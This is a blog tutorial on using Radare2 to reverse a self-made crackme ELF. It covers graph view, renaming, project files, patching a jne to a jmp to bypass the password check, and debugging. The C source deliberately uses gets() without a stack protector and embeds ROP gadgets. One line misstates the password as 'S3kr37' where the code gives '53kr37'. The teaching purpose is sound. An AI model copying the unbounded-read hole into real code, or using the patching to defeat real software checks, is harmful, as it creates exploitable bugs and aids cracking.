Monday, October 3, 2016

ReverUsing Radare2

ReverUsing Radare2

I'm adopting Radare2. But before I'm actually able to use it I first have to reverse how it works. At first I found the learning curve to be quite steep - like Vim on steroids - the first few minutes literally feel like running against a brick wall. The Radare2Book thankfully made my struggle very short lived.

However, I found my workflow to be somewhat very different from the book's, but because Radare2 is so powerful I tried to find my own workflow using mostly the visual mode, especially the graph view. This documents my journey.

Target ELF source code

This write up is based on a deliberate simple and exploitable ELF binary I quickly made up ... hope the ROP part works ... that will be dope:

/*
 * Copyright (c) 2016, mich.
 * No Rights Reserved.
 *
 * I hereby place this code in the public domain.
 * You can do whatever you want with it.
 */

#include <stdio.h>
#include <stdint.h>

void gadgets(void)
{
    __asm__(
        "pop %rax\n\t"
        "mov %rsp, %rdi\n\t"
        "pop %rsi\n\t"
        "ret\n\t"
        "pop %rdi\n\t"
        "ret\n\t"
        "xor %rsi, %rsi\n\t"
        "ret\n\t"
        "xor %rdx, %rdx\n\t"
        "ret\n\t"
        "syscall\n\t"
    );
}

const uint8_t flag[] = {0x3f,0xce,0x15,0x78,0x7a,0x5d,0x27,0x39,0xd4,
                        0xac,0xe4,0x31,0x17,0x74,0xe9,0xc8,0xd0,0x1d,0xe2,0x10};

void print_flag(void)
{
        printf("The flag is: ");
    char fmt[4] = {'%'^'r','0'^'0','2'^'0','x'^'t'};
    const char *mask = "r00t";
    for(unsigned i=0; i<sizeof(fmt); i++)
        fmt[i] ^= mask[i];
    for(unsigned i=0; i<sizeof(flag); i++)
        printf(fmt, flag[i]);
    printf("\n");
        return;
}

int check_pwd(const char *pwd)
{
        return (
                pwd[0]=='5' &&
                pwd[1]=='3' &&
                pwd[2]=='k' &&
                pwd[3]=='r' &&
                pwd[4]=='3' &&
                pwd[5]=='7'
        );
}

int main(void)
{
        char buf[16];
    printf("Password for flag: ");
        gets(buf);
        if( check_pwd(buf)==0 )
        {
                puts("Wrong password");
                return 1;
        }
        print_flag();
        return 0;
}

Build with:

gcc vuln.c -o vuln -std=gnu99 -Wall -Wextra -Wno-deprecated-declarations -s -fno-stack-protector

Then stripped beyond naked via:

strip --strip-all -R .note -R .comment vuln

The binary expects a password. If the correct password is entered a flag is printed. I won't go into more details at this point. The whole point is to reverse how the thing works!

When you run the binary you get:

$ ./vuln 
Password for flag: 

Entering a password yields:

Password for flag: letmein
Wrong password

We will keep these output strings in mind.

Statically analyzing the binary

We will first use Radare2 to analyze the binary.

NOTE: All offsets are likely different for you. Just follow the outline and use the results you get instead of copy and pasting from here!

Start Radare2:

$ r2 vuln
 -- Yo dawg!
[0x00400520]> 

Analyze the code:

[0x00400520]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[aav: using from to 0x400000 0x401870
Using vmin 0x400000 and vmax 0x601050
aav: using from to 0x400000 0x401870
Using vmin 0x400000 and vmax 0x601050
[x] Analyze value pointers (aav)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00400520]> 

We could now print all functions that Radare2 has found via entring f. We could even use f | grep main which yields

[0x00400520]> f | grep main
0x00400734 80 main
0x00601030 8 reloc.__libc_start_main_48
0x004004f0 16 sym.imp.__libc_start_main
[0x00400520]> 

However, going through the whole binary is often not recommended. For this small example it would be possible, but on bigger binaries you usually want to jump right to where the interesting stuff is happening. To this end, Radare2 supports searching for arbitrary data in the binary via the / command.

We use the / command to search for the string Password for flag: (one of the strings we saw while running the binary)

[0x00400520]> / Password for flag:
Searching 18 bytes from 0x00400000 to 0x00601050: 50 61 73 73 77 6f 72 64 20 66 6f 72 20 66 6c 61 67 3a 
Searching 18 bytes in [0x400000-0x601050]
hits: 1
0x00400847 hit0_0 . flag is: r00tPassword for flag: Wrong password.
[0x00400520]> 

We get one hit at address 0x00400847. Radare2 analyzed the binary for cross-references (xrefs), that means Radare2 already has a list of memory locations used in the program. We can therefore search for where 0x00400847 is used via the axt command. This yields

[0x00400520]> axt 0x00400847
data 0x40073c mov edi, str.Password_for_flag: in main
[0x00400520]> 

So we see this string is used in the program once at address 0x40073c. We seek to this address via s [address] command and enter visual graph view via VV

[0x00400520]> s 0x40073c
[0x0040073c]> VV

The visual graph view should look something like:

[0x00400734]> VV @ main (nodes 4 edges 4 zoom 100%) BB-NORM mouse:canvas-y movements-speed:5
                         =----------------------------------=
                         | [0x400734]                       |
                         | (fcn) main 80                    |
                         |   main ();                       |
                         | ; var int local_10h @ rbp-0x10   |
                         | push rbp                         |
                         | mov rbp, rsp                     |
                         | sub rsp, 0x10                    |
                         | mov edi, str.Password_for_flag:  |
                         | mov eax, 0                       |
                         | call sym.imp.printf ;[a]         |
                         | lea rax, [rbp - local_10h]       |
                         | mov rdi, rax                     |
                         | call sym.imp.gets ;[b]           |
                         | lea rax, [rbp - local_10h]       |
                         | mov rdi, rax                     |
                         | call fcn.004006c8 ;[c]           |
                         | test eax, eax                    |
                         | jne 0x400778 ;[d]                |
                         =----------------------------------=
                               t f
                  .------------' '--------------------.
                  |                                   |
                  |                                   |
            =--------------------------=      =-----------------------------=
            |  0x400778                |      |  0x400767                   |
            | call sub.printf_628 ;[e] |      | mov edi, str.Wrong_password |
            | mov eax, 0               |      | call sym.imp.puts ;[f]      |
            =--------------------------=      | mov eax, 1                  |
                v                             | jmp 0x400782 ;[g]           |
                |                             =-----------------------------=
                '-------------------.             v
                                    .-------------'
                                    |
                                    |
                                =--------------------=
                                |  0x400782          |
                                | leave              |
                                | ret                |
                                =--------------------=

A couple of useful commands are:

  • ? : print help
  • h,j,k,l : move around
  • w : toogle movement-speed between 5 and 1
  • p/P : rotate graph mode
  • +/- : Zoom in/out (don't waste your time use p/P instead)
  • o : seek to offset
  • u/U : undo/redo seek
  • ; : comment
  • tab/TAB : next/previous node
  • t : follow true (or only) edge
  • f : follow false edge
  • g([A-Za-z]*) : follow call/jump
  • : : run Radare2 command
  • / : highlight stuff
  • . : center on focused node
  • q : quit visual graph view

From the above graph we can see that first Password for flag: is printed via sym.imp.printf (printf()) then sym.imp.gets (gets()) is used to read the password from the user.

local_10h is obviously the input buffer. So we use the afvn [oldname] [newname] command to change the name of local_10h to buffer. To this end, we enter the classic command prompt via :

Press <enter> to return to Visual mode.
:>

There we enter

Press <enter> to return to Visual mode.
:> afvn local_10h buffer
:> q

(Instead of the last q you can just hit enter to leave the classic command prompt.)

The graph view should now look like

[0x00400734]> VV @ main (nodes 4 edges 4 zoom 100%) BB-NORM mouse:canvas-y movements-speed:5
               =----------------------------------=
               | [0x400734]                       |
               | (fcn) main 80                    |
               |   main ();                       |
               | ; var int buffer @ rbp-0x10      |
               | push rbp                         |
               | mov rbp, rsp                     |
               | sub rsp, 0x10                    |
               | mov edi, str.Password_for_flag:  |
               | mov eax, 0                       |
               | call sym.imp.printf ;[a]         |
               | lea rax, [rbp - buffer]          |
               | mov rdi, rax                     |
               | call sym.imp.gets ;[b]           |
               | lea rax, [rbp - buffer]          |
               | mov rdi, rax                     |
               | call fcn.004006c8 ;[c]           |
               | test eax, eax                    |
               | jne 0x400778 ;[d]                |
               =----------------------------------=
                     t f
        .------------' '--------------------.
        |                                   |
        |                                   |
  =--------------------------=      =-----------------------------=
  |  0x400778                |      |  0x400767                   |
  | call sub.printf_628 ;[e] |      | mov edi, str.Wrong_password |
  | mov eax, 0               |      | call sym.imp.puts ;[f]      |
  =--------------------------=      | mov eax, 1                  |
      v                             | jmp 0x400782 ;[g]           |
      |                             =-----------------------------=
      '-------------------.             v
                          .-------------'
                          |
                          |
                      =--------------------=
                      |  0x400782          |
                      | leave              |
                      | ret                |
                      =--------------------=

To illustrate another useful feature we use the / command to highlight buffer. To this end, we simply hit / and enter buffer into the highlight: mask. You can enter anything, e.g. rax in order to better trace its data flow, etc.

Next we see that the result of the call to fcn.004006c8 determines whether we go the true edge (to the left) or the false edge (right). The false path obviously leads to Wrong password being printed via sym.imp.puts (puts()).

In the true path we notice that Radare2 automatically named the function sub.printf_628 indicating something is printed in there. We will hence rename this function via :afn print_flag sub.printf_628, i.e. again entering the classic command prompt via : and there entering afn print_flag sub.printf_628. The visual graph should hence look like:

[0x00400734]> VV @ main (nodes 4 edges 4 zoom 100%) BB-NORM mouse:canvas-y movements-speed:5
               =----------------------------------=
               | [0x400734]                       |
               | (fcn) main 80                    |
               |   main ();                       |
               | ; var int buffer @ rbp-0x10      |
               | push rbp                         |
               | mov rbp, rsp                     |
               | sub rsp, 0x10                    |
               | mov edi, str.Password_for_flag:  |
               | mov eax, 0                       |
               | call sym.imp.printf ;[a]         |
               | lea rax, [rbp - buffer]          |
               | mov rdi, rax                     |
               | call sym.imp.gets ;[b]           |
               | lea rax, [rbp - buffer]          |
               | mov rdi, rax                     |
               | call fcn.004006c8 ;[c]           |
               | test eax, eax                    |
               | jne 0x400778 ;[d]                |
               =----------------------------------=
                     t f
        .------------' '--------------------.
        |                                   |
        |                                   |
  =--------------------------=      =-----------------------------=
  |  0x400778                |      |  0x400767                   |
  | call print_flag ;[e]     |      | mov edi, str.Wrong_password |
  | mov eax, 0               |      | call sym.imp.puts ;[f]      |
  =--------------------------=      | mov eax, 1                  |
      v                             | jmp 0x400782 ;[g]           |
      |                             =-----------------------------=
      '-------------------.             v
                          .-------------'
                          |
                          |
                      =--------------------=
                      |  0x400782          |
                      | leave              |
                      | ret                |
                      =--------------------=

We then use the g command to seek to function fcn.004006c8. To this end, we simply hit g and then enter c, that is the letter in square brackets behind the call line call fcn.004006c8 ;[c]. This will take use straight to that function. We could have entered :s fcn.004006c8, i.e. seeked via the classical command prompt, or invoked o then entered fcn.004006c8 as the offset, but the g command is just much quicker.

This graph should now look more complex like:

[0x004006c8]> VV @ fcn.004006c8 (nodes 9 edges 14 zoom 100%) BB-NORM mouse:canvas-x movements-speed:5

                         =----------------------------------=
                         | [0x4006c8]                       |
                         | (fcn) fcn.004006c8 108           |
                         |   fcn.004006c8 ();               |
                         | ; var int local_8h @ rbp-0x8     |
                         | push rbp                         |
                         | mov rbp, rsp                     |
                         | mov qword [rbp - local_8h], rdi  |
                         | mov rax, qword [rbp - local_8h]  |
                         | movzx eax, byte [rax]            |
                         | cmp al, 0x35                     |
                         | jne 0x40072d ;[a]                |
                         =----------------------------------=
                                 f t
                       .---------' '-------------------.
                       |                               |
                       |                               |
               =---------------------------------=     |
               |  0x4006db                       |     |
               | mov rax, qword [rbp - local_8h] |     |
               | add rax, 1                      |     |
               | movzx eax, byte [rax]           |     |
               | cmp al, 0x33                    |     |
               | jne 0x40072d ;[a]               |     |
               =---------------------------------=     |
                       f t                             |
                 .-----' '-----------------------.     |

Once you have worked more often with Radare2 you will notice that because the function was not named sub. there are no more sub-calls in this function. You can quickly verify this by pressing P once so you get into BB-SUM (basic block summary mode):

[0x004006c8]> VV @ fcn.004006c8 (nodes 9 edges 14 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:1
                                =--------------------=
                                | [0x4006c8]         |
                                =--------------------=
                                        f t
                                .-------' '---------.
                                |                   |
                                |                   |
                        =--------------------=      |
                        |  0x4006db          |      |
                        =--------------------=      |
                                f t                 |
                          .-----' '-----------.     |
                          |                   |     |
                          |                   |     |
                  =--------------------=      |     |
                  |  0x4006ea          |      |     |
                  =--------------------=      |     |
                          f t                 |     |
                    .-----' '-----------.     |     |
                    |                   |     |     |
                    |                   |     |     |
            =--------------------=      |     |     |
            |  0x4006f9          |      |     |     |
            =--------------------=      |     |     |
                    f t                 |     |     |
              .-----' '-----------.     |     |     |
              |                   |     |     |     |
              |                   |     |     |     |
      =--------------------=      |     |     |     |
      |  0x400708          |      |     |     |     |
      =--------------------=      |     |     |     |
              f t                 |     |     |     |
        .-----' '-----------.     |     |     |     |
        |                   |     |     |     |     |
        |                   |     |     |     |     |
=--------------------=      |     |     |     |     |
|  0x400717          |      |     |     |     |     |
=--------------------=      |     |     |     |     |
        f t                 |     |     |     |     |
        | '-----------------------.---.-'-----'-----'
        |                         |   |
        |                         |   |
=--------------------=      =--------------------=
|  0x400726          |      |  0x40072d          |
=--------------------=      =--------------------=
    v                           v
    '-------------.-------------'
                  |
                  |
              =--------------------=
              |  0x400732          |
              =--------------------=

To compare this with the main function you can use the u and U commands to first seek back to main, i.e. undo the seek to fcn.004006c8 by pressing u, which provides you with this graph:

[0x00400734]> VV @ main (nodes 4 edges 4 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:1
                       =---------------------------------=
                       | [0x400734]                      |
                       | 0x00400746 call sym.imp.printf  |
                       | 0x00400752 call sym.imp.gets    |
                       | 0x0040075e call fcn.004006c8    |
                       =---------------------------------=
                             t f
             .---------------' '-------------------.
             |                                     |
             |                                     |
       =-----------------------------=     =-------------------------------=
       |  0x400778                   |     |  0x400767                     |
       | 0x00400778 call print_flag  |     | 0x0040076c call sym.imp.puts  |
       =-----------------------------=     =-------------------------------=
           v                                   v
           '---------------------.-------------'
                                 |
                                 |
                             =--------------------=
                             |  0x400782          |
                             =--------------------=

Then redo the seek again with U. This way you can quickly glance at called functions without loosing your previous positions in the binary. This also works when navigating to the next basic block via t, f or tab.

Back in the fcn.004006c8 function we hit n to rename the function. We could do this via the afn command as shown previously, however, being inside the function already, n is the quickest.

New function name:check_password

We now performed a coarse static analysis of the binary. We will come back to analyzing check_password() later. But before that we cover some other important features.

Project management

In order to not loose your progress it is wise to save your project every once in a while. To do so you use the Ps [projectfilename] command in the classic prompt (so you either have to leave visual graph mode via q or invoke the commands via :.

The default path for projects is ~/.config/radare2/projects, but you can give an absolute path then this default location is not used.

To open a project you use the Po [projectfilename] command or start Radare2 with the -p <projectfile> argument like:

r2 -p <projectfile>

You will keep all your comments (made via ;), function and local variable renameings. However, you will loose your current view. So it is wise to remember the function you last analyzed. To this end, I use the project notes function. You can set project notes via Pn - with the editor set in cfg.editor and read them via Pn. You can change the editor e.g. e cfg.editor=vim sets it to Vim.

Configuration

Radare2 is highly configurable.

You can type e to see all config variables. E.g. dir.projects = ~/.config/radare2/projects controls the default projects path. You can use e?? to get information about all config variables.

Config variables can be set via e var=value.

Color theme

You can select a different color theme or repair your theme via the eco command. I manage to always screw my coloring up, which is then saved in the project. So I find it very helpful that eco basic will get me an OKish theme back ... though not the default theme.

UTF-8

e scr.utf8=true can be set if you are using a UTF-8 capable terminal, e.g. urxvt. Radare2 will then use UTF-8 characters for the lines and edges between nodes instead of the ASCII pipe, plus, minus and equal.

Cracking the binary

We now use Radare2 to crack the binary. To this end, we patch the binary so that any password is accepted as correct.

To this end, we remember that we already analyzed the binary and know that the check after the call to check_password is the ideal place to patch. We go to the visual graph view via VV@main then hit p once so we get into BB-OFF display mode:

[0x00400734]> VV @ main (nodes 4 edges 4 zoom 100%) BB-OFF mouse:canvas-y movements-speed:5
                           =------------------------------------------------------------=
                           | [0x400734]                                                 |
                           | (fcn) main 80                                              |
                           |   main ();                                                 |
                           | ; var int buffer @ rbp-0x10                                |
                           | 0x00400734 55             push rbp                         |
                           | 0x00400735 4889e5         mov rbp, rsp                     |
                           | 0x00400738 4883ec10       sub rsp, 0x10                    |
                           | 0x0040073c bf47084000     mov edi, str.Password_for_flag:  |
                           | 0x00400741 b800000000     mov eax, 0                       |
                           | 0x00400746 e895fdffff     call sym.imp.printf ;[a]         |
                           | 0x0040074b 488d45f0       lea rax, [rbp - buffer]          |
                           | 0x0040074f 4889c7         mov rdi, rax                     |
                           | 0x00400752 e8b9fdffff     call sym.imp.gets ;[b]           |
                           | 0x00400757 488d45f0       lea rax, [rbp - buffer]          |
                           | 0x0040075b 4889c7         mov rdi, rax                     |
                           | 0x0040075e e865ffffff     call check_password ;[c]         |
                           | 0x00400763 85c0           test eax, eax                    |
                           | 0x00400765 7511           jne 0x400778 ;[d]                |
                           =------------------------------------------------------------=
                                 t f
          .----------------------' '--------------------------------.
          |                                                         |
          |                                                         |
    =------------------------------------------------=      =-------------------------------------------------------=
    |  0x400778                                      |      |  0x400767                                             |
    | 0x00400778 e8abfeffff     call print_flag ;[e] |      | 0x00400767 bf5b084000     mov edi, str.Wrong_password |
    | 0x0040077d b800000000     mov eax, 0           |      | 0x0040076c e85ffdffff     call sym.imp.puts ;[f]      |

If we patch the jne (0x75) at offset 0x00400765 to a jmp (0xeb) call print_flag will get called regardless of the value return in by check_password in eax.

A short not on how you know that a jmp here is 0xeb: You can use rasm2 to assemble the patch. To this end, simply execute

Press <enter> to return to Visual mode.
:> !rasm2 -a x86 -b 32 -o 0x400765 'jmp 0x400778'
eb11

The -o option allows you to specify an offset so rasm2 will generate a relative jump instead of an absolute jump.

In order to patch the binary we have to leave Radare2 (q until you are out of it). Do not forget to save your project via Ps [projectname]!

I then highly recommend making a copy of vuln via

cp vuln vuln.crack

then opening vuln.crack via

r2 -w vuln.crack

The -w allows Radare2 to write to the binary.

We first analyze the binary again via aaaa. Then enter visual mode via V@main.
In this view we type p once so the top line says pd after the > prompt. We then hit c to enter cursor mode and maneuver the cursor indicated by a small * to the jne 0x400778 like this:

[0x0040075e 30% 275 (0x7:-1=1)]> pd $r @ main+49 # 0x400765                
|           0x0040075e      e865ffffff     call fcn.004006c8           ;[1]
|           0x00400763      85c0           test eax, eax                   
|       ,=< 0x00400765   *  7511           jne 0x400778                ;[2]
|       |   0x00400767      bf5b084000     mov edi, str.Wrong_password ; "Wrong password" @ 0x40085b
|       |   0x0040076c      e85ffdffff     call sym.imp.puts           ;[3]
|       |   0x00400771      b801000000     mov eax, 1                      
|      ,==< 0x00400776      eb0a           jmp 0x400782                ;[4]
|      |`-> 0x00400778      e8abfeffff     call sub.printf_628         ;[5]
|      |    0x0040077d      b800000000     mov eax, 0                      
|      |    ; JMP XREF from 0x00400776 (main)                              
|      `--> 0x00400782      c9             leave                           
\           0x00400783      c3             ret                             

Make sure the 75 is highlighted, i.e., you see a * next to the 75. If you see a 1 next to it you are on the wrong byte of that instruction! In that case move the cursor to the left. Then hit i for insert and input eb.

Unfortunately Radare2 doesn't seem to immediately update the graph view. However, when you just quit Radare2 (q until you are back at the terminal) and try executing ./vuln.crack it should accept any password.

Reversing the binary

We now use Radare2 to reverse engineer what the correct password is.

We load Radare2 again

r2 -p <projectname>

and jump right into the check_password() function via VV@check_password. From main() we remember the function prototype must look something like int check_password(char *buffer), because buffer comes from gets() and the function returns a value that is tested for being zero. A return other than zero denotes the password was correct.

Zooming the function graph way out we notice that to the left there seems to be a cascade of checks which either go to the next basic block in the cascade or the block in the lower right, as seen here:

[0x004006c8]> VV @ check_password (nodes 9 edges 14 zoom 0%) BB-SMALL mouse:canvas-y movements-speed:1
                            [_06c8_]
0x40072d:                        f t
moveax, 0                 .-----' |
                           |       |
                           |       |
                      [_06db_]     |
                           f t     |
                     .-----' |     |
                     |       |     |
                     |       |     |
                [_06ea_]     |     |
                     f t     |     |
               .-----' |     |     |
               |       |     |     |
               |       |     |     |
          [_06f9_]     |     |     |
               f t     |     |     |
          .----' |     |     |     |
          |      |     |     |     |
          |      |     |     |     |
     [_0708_]    |     |     |     |
          f t    |     |     |     |
     .----'.'    |     |     |     |
     |     |     |     |     |     |
     |     |     |     |     |     |
[_0717_]   |     |     |     |     |
     f t   |     |     |     |     |
     | '-------------.---.---'-----'
     |               |   |
     |               |   |
[_0726_]          <@@@@@@>
 v                 v
 '--------.--------'
          |
          |
         [_0732_]

The @@@@@@ indicate the currently selected block. The entry address to the basic block and its code is outlined in the top left. In this case this block sets eax, i.e., the return value to 0. The block _0732_ simply performs a ret as can be seen with a different zoom:

[0x004006c8]> VV @ check_password (nodes 9 edges 14 zoom 100%) BB-NORM mouse:canvas-y movements-speed:1
                f t                             |     |     |     |     |
                '-----.--------------------------.---.'-----'-----'-----'
                      |                          |   |
                      |                          |   |
              =--------------------=       =--------------------=
              |  0x400726          |       | [0x40072d]         |
              | mov eax, 1         |       | mov eax, 0         |
              | jmp 0x400732 ;[b]  |       =--------------------=
              =--------------------=           v
                  v                            |
                  '-------------.--------------'
                                |
                                |
                            =--------------------=
                            |  0x400732          |
                            | pop rbp            |
                            | ret                |
                            =--------------------=

You can also see the other block, the one at the end of the cascade sets eax to the desired value of 1, i.e. non-zero.

So our password attempt passed in rdi (as char *) needs to survive the cascade. We first name the local_8h variable password via afvn and also changes its type to char * via afvt as follows

Press <enter> to return to Visual mode.
:> afvn local_8h password
:> afvt password char*
:>

Our entry basic block now looks like this:

[0x004006c8]> VV @ check_password (nodes 9 edges 14 zoom 100%) BB-NORM mouse:canvas-y movements-speed:1
                                 =----------------------------------=
                                 |  0x4006c8                        |
                                 | (fcn) check_password 108         |
                                 |   check_password ();             |
                                 | ; var char* password @ rbp-0x8   |
                                 | push rbp                         |
                                 | mov rbp, rsp                     |
                                 | mov qword [rbp - password], rdi  |
                                 | mov rax, qword [rbp - password]  |
                                 | movzx eax, byte [rax]            |
                                 | cmp al, 0x35                     |
                                 | jne 0x40072d ;[a]                |
                                 =----------------------------------=

We notice the first byte in our password, i.e. password[0], must be 0x35. We can use rax2 -r 0x35 to show different representations:

:> !rax2 -r 0x35
53 0x35 065 53 0000:0035 53 "5" 00110101 53.0 0.000000f 0.000000

Here we can see 5 is the character representation. So the first character must be 5. We could analyze the other blocks the same way, however, Radare2 provides a faster way to do the analysis.

For this, we exit the graph mode and switch to normal visual mode by typing q. We should see the check_password() function. If not navigate up or down until you have the full function on screen:

[0x004006c8 27% 299 (0x0:-1=1)]> pd $r @ check_password                           
/ (fcn) check_password 108                                                        
|   check_password ();                                                            
|           ; var char* password @ rbp-0x8                                        
|           ; CALL XREF from 0x0040075e (main)                                    
|           0x004006c8   *  55             push rbp                               
|           0x004006c9      4889e5         mov rbp, rsp                           
|           0x004006cc      48897df8       mov qword [rbp - password], rdi        
|           0x004006d0      488b45f8       mov rax, qword [rbp - password]        
|           0x004006d4      0fb600         movzx eax, byte [rax]                  
|           0x004006d7      3c35           cmp al, 0x35                ; '5' ; '5'
|       ,=< 0x004006d9      7552           jne 0x40072d                ;[1]       
|       |   0x004006db      488b45f8       mov rax, qword [rbp - password]        
|       |   0x004006df      4883c001       add rax, 1                             
|       |   0x004006e3      0fb600         movzx eax, byte [rax]                  
|       |   0x004006e6      3c33           cmp al, 0x33                ; '3' ; '3'
|      ,==< 0x004006e8      7543           jne 0x40072d                ;[1]       
|      ||   0x004006ea      488b45f8       mov rax, qword [rbp - password]        
|      ||   0x004006ee      4883c002       add rax, 2                             
|      ||   0x004006f2      0fb600         movzx eax, byte [rax]                  
|      ||   0x004006f5      3c6b           cmp al, 0x6b                ; 'k' ; 'k'
|     ,===< 0x004006f7      7534           jne 0x40072d                ;[1]       
|     |||   0x004006f9      488b45f8       mov rax, qword [rbp - password]        
|     |||   0x004006fd      4883c003       add rax, 3                             
|     |||   0x00400701      0fb600         movzx eax, byte [rax]                  
|     |||   0x00400704      3c72           cmp al, 0x72                ; 'r' ; 'r'
|    ,====< 0x00400706      7525           jne 0x40072d                ;[1]       
|    ||||   0x00400708      488b45f8       mov rax, qword [rbp - password]        
|    ||||   0x0040070c      4883c004       add rax, 4                             
|    ||||   0x00400710      0fb600         movzx eax, byte [rax]                  
|    ||||   0x00400713      3c33           cmp al, 0x33                ; '3' ; '3'
|   ,=====< 0x00400715      7516           jne 0x40072d                ;[1]       
|   |||||   0x00400717      488b45f8       mov rax, qword [rbp - password]        
|   |||||   0x0040071b      4883c005       add rax, 5                             
|   |||||   0x0040071f      0fb600         movzx eax, byte [rax]                  
|   |||||   0x00400722      3c37           cmp al, 0x37                ; '7' ; '7'
|  ,======< 0x00400724      7507           jne 0x40072d                ;[1]       
|  ||||||   0x00400726      b801000000     mov eax, 1                             
| ,=======< 0x0040072b      eb05           jmp 0x400732                ;[2]       
| |``````-> 0x0040072d      b800000000     mov eax, 0                             
| |         ; JMP XREF from 0x0040072b (check_password)                           
| `-------> 0x00400732      5d             pop rbp                                
\           0x00400733      c3             ret                                    

Here we see that the character representation is already automatically annotated. This annotation is, unfortunately, not available in graph mode (yet ... maybe I manage to find time to patch it in).

Anyways, we see throughout the cascade each character of password is compared with S, 3, k, r, 3 and 7. Hence, S3kr37 is the correct password.

To verify this we go into dynamic analysis.

Dynamic analysis

As I'm learning Radare2 myself currently I also want to see its capabilities in dynamic analysis. To this end, we will set a breakpoint at the start of the check_password() function and then single step through the correct password.

Dynamic analysis, i.e. debugging, seems to be rather rough in visual mode and not possible at all in graph view mode. The problem in visual mode is that stdin is not forwarded to vuln and hence the whole thing is stuck. But here is how I managed to do it. First, start r2 in debug mode:

$ r2 -d vuln
Process with PID 22844 started...
= attach 22844 22844
bin.baddr 0x00400000
Assuming filepath /home/user/radare2/vuln
asm.bits 64
 -- Trust no one, nor a zero. Both lie.
[0x7f1f461a4430]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[Oops invalid rangen calls (aac)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[aav: using from to 0x7f1f461a3000 0x7f1f461c4000
Using vmin 0x7f1f461a3000 and vmax 0x7f1f461c4000
aav: using from to 0x7f1f461a3000 0x7f1f461c4000
Using vmin 0x7f1f461a3000 and vmax 0x7f1f461c4000
[x] Analyze value pointers (aav)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x7f1f461a4430]> V

Then p and a s fcn.004006c8 like:

Press <enter> to return to Visual mode.
:> s fcn.004006c8

The switch to visual mode causes a seek to rip, hence seeking via V@fcn.004006c8 is useless.

We eventually get:

[0x004006c8 313 /home/user/radare2/vuln]> pd $r @ fcn.004006c8             
/ (fcn) fcn.004006c8 108                                                               
|   fcn.004006c8 ();                                                                   
|           ; var int local_8h @ rbp-0x8                                               
|           ; CALL XREF from 0x0040075e (main)                                         
|           0x004006c8      55             push rbp                                    
|           0x004006c9      4889e5         mov rbp, rsp                                
|           0x004006cc      48897df8       mov qword [rbp - local_8h], rdi             
|           0x004006d0      488b45f8       mov rax, qword [rbp - local_8h]             
|           0x004006d4      0fb600         movzx eax, byte [rax]                       
|           0x004006d7      3c35           cmp al, 0x35                ; '5' ; '5' ; 53
|       ,=< 0x004006d9      7552           jne 0x40072d                ;[1]            
|       |   0x004006db      488b45f8       mov rax, qword [rbp - local_8h]             
|       |   0x004006df      4883c001       add rax, 1                                  

We set a breakpoint with b:

[0x004006c8 275 /home/user/radare2/vuln]> pd $r @ fcn.004006c8
/ (fcn) fcn.004006c8 108                                                    
|   fcn.004006c8 ();                                                        
|           ; var int local_8h @ rbp-0x8                                    
|           ; CALL XREF from 0x0040075e (main)                              
|           0x004006c8 b    55             push rbp                         
|           0x004006c9      4889e5         mov rbp, rsp                     
|           0x004006cc      48897df8       mov qword [rbp - local_8h], rdi  

Then we switch back to normal mode with q:

[0x004006c8]> dc
Password for flag: 

We then enter the reverse engineered password:

[0x004006c8]> dc
Password for flag: 53kr37
hit breakpoint at: 4006c8
= attach 22844 1
[0x004006c8]> 

Switch back to visual mode with V:

[0x004006c8 275 /home/user/radare2/vuln]> pd $r @ rip
            ;-- rip:                                
/ (fcn) fcn.004006c8 108                           
|   fcn.004006c8 ();                              
|           ; var int local_8h @ rbp-0x8         
|           ; CALL XREF from 0x0040075e (main)  
|           0x004006c8 b    55             push rbp       
|           0x004006c9      4889e5         mov rbp, rsp  
|           0x004006cc      48897df8       mov qword [rbp - local_8h], rdi 
|           0x004006d0      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004006d4      0fb600         movzx eax, byte [rax]         
|           0x004006d7      3c35           cmp al, 0x35                ; '5' ; '5' ; 53
|       ,=< 0x004006d9      7552           jne 0x40072d                ;[1]           
|       |   0x004006db      488b45f8       mov rax, qword [rbp - local_8h]           
|       |   0x004006df      4883c001       add rax, 1                               

The ;-- rip: indicates the current instruction pointer position. Issuing p we can turn on register and stack view:

[0x004006c8 275 /home/user/radare2/vuln]> ?0;f tmp;s.. @ rip
- offset -       0 1  2 3  4 5  6 7  8 9  A B  0123456789AB 
0x7ffd0b507578  6307 4000 0000 0000 3533 6b72  c.@.....53kr 
0x7ffd0b507584  3337 0000 0000 0000 0000 0000  37.......... 
0x7ffd0b507590  0000 0000 0000 0000 152b e045  .........+.E 
0x7ffd0b50759c  1f7f 0000 0000 0000 2000 0000  ........ ... 
0x7ffd0b5075a8  7876 500b fd7f 0000 0000 0000  xvP......... 
0x7ffd0b5075b4  0100 0000                      ....         
orax 0xffffffffffffffff rax 0x7ffd0b507580  rbx 0x00000000  
 rcx 0xfbad2288      rdx 0x7f1f4619ea20   r8 0x7f1f463c1007 
  r9 0x00000000      r10 0x00000006      r11 0x00000246     
 r12 0x00400520      r13 0x7ffd0b507670  r14 0x00000000     
 r15 0x00000000      rsi 0x7f1f463c1006  rdi 0x7ffd0b507580 
 rsp 0x7ffd0b507578  rbp 0x7ffd0b507590  rip 0x004006c8     
 rflags 1PZI                                                
            ;-- rip:                                        
/ (fcn) fcn.004006c8 108                                    
|   fcn.004006c8 ();                                        
|           ; var int local_8h @ rbp-0x8                    
|           ; CALL XREF from 0x0040075e (main)              
|           0x004006c8 b    55             push rbp         
|           0x004006c9      4889e5         mov rbp, rsp     
|           0x004006cc      48897df8       mov qword [rbp - local_8h], rdi
|           0x004006d0      488b45f8       mov rax, qword [rbp - local_8h]
|           0x004006d4      0fb600         movzx eax, byte [rax]         
|           0x004006d7      3c35           cmp al, 0x35                ; '5' ; '5' ; 53
|       ,=< 0x004006d9      7552           jne 0x40072d                ;[1]
|       |   0x004006db      488b45f8       mov rax, qword [rbp - local_8h]

We can then use F7 to single step through the code:

[0x004006c9 275 /home/user/radare2/vuln]> ?0;f tmp;s.. @ fcn.004006c8+1 # 0x4006c9
